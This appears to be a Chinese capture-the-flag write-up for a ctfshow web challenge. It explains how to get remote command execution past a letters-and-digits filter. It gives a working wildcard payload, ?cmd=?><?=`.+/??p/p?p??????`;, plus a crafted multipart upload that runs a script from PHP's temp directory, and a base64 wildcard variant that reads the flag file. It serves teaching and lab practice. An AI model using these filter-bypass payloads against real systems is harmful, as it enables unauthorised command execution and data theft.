Web 红包题第二弹
红包题第二弹 wp
页面源代码发现提示 ?cmd=
尝试?cmd=phpinfo(); 得到源码
很明显,这里存在命令执行漏洞,除了p以外的字母数字的过滤可以走无字母数字RCE(异或,取反,自增)
这里推荐一篇P神的文章(一些不包含数字和字母的webshell):https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
现在$ _和各种符号被过滤,无字母数字RCE就没法完成了,依旧通过P神的学习,完善的语言通常会与操作系统交互,而反引号 ` 就是简单的执行操作命令符号,配合. file就能执行文件内的系统命令(注意是.空格file)
如 `. 1.txt` 就能让操作系统解析1.txt文件并执行文件内的系统命令
思路
参考内容
P神文章(无字母数字webshell之提高篇):https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
大佬文章:https://blog.csdn.net/Ethan552525/article/details/118459568
构造post上传一个1.txt文件,文件内容为(#! /bin/sh ls),同时. file执行文件内容,因为我们上传的文件会被改名保存在临时文件夹tmp中,默认文件名为/tmp/phpxxxxxx (x是任意大小写字母),文件会在请求包结束后删掉,所以需要在上传的同时. file执行
构造post体
第一步:抓包,修改请求方式
修改三个部分
1.Content-Type:声明文件上传类型
Content- Type 有两个值:①application/x-www-form-urlencoded(默认值) :上传键值对
②multipart/form-data:上传文件
这里修改Content-Type:multipart/form-data; boundary=---------------------------10242300956292313528205888 (文件类型是文件上传)
2.boundary 标识文件开始和结束,中间是文件属性和文件内容
boundary为边界分隔符
文件开始标记:-----------------------------10242300956292313528205888
文件结束标记:-----------------------------10242300956292313528205888--
这里最下面添加
-----------------------------10242300956292313528205888 (注意:要在content-length下面空一行)
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
ls
-----------------------------10242300956292313528205888--
3.通配符执行文件首行url添加 /?cmd=?><?=`.+/??p/p?p??????`;
?是通配符,匹配所有字符
这里?>闭合
这里<?等价与echo,<?也等价于<?php
+号:在url中+号可以表示空格
最总构造结果:
得知当前工作目录下有index.php,我们的目标是flag
查看上级目录
没有flag,继续上级目录
再来
确定flag的位置:../../../flag.txt,接着cat ../../../flag.txt读取flag
flag:ctfshow{8a276a65-bae1-4a7e-95c6-628d636b93ca}
这里题型有两种做法,第一种是上面的wp
第二种做法,如果代码没有过滤数字:?cmd=/bin/base64 flag.txt
通配符:?cmd=/???/????64 ????.???
/bin/base64 flag.txt bin目录存放很多基础的系统命令,引用bin目录下的base64命令转换文件内容,并输出出来
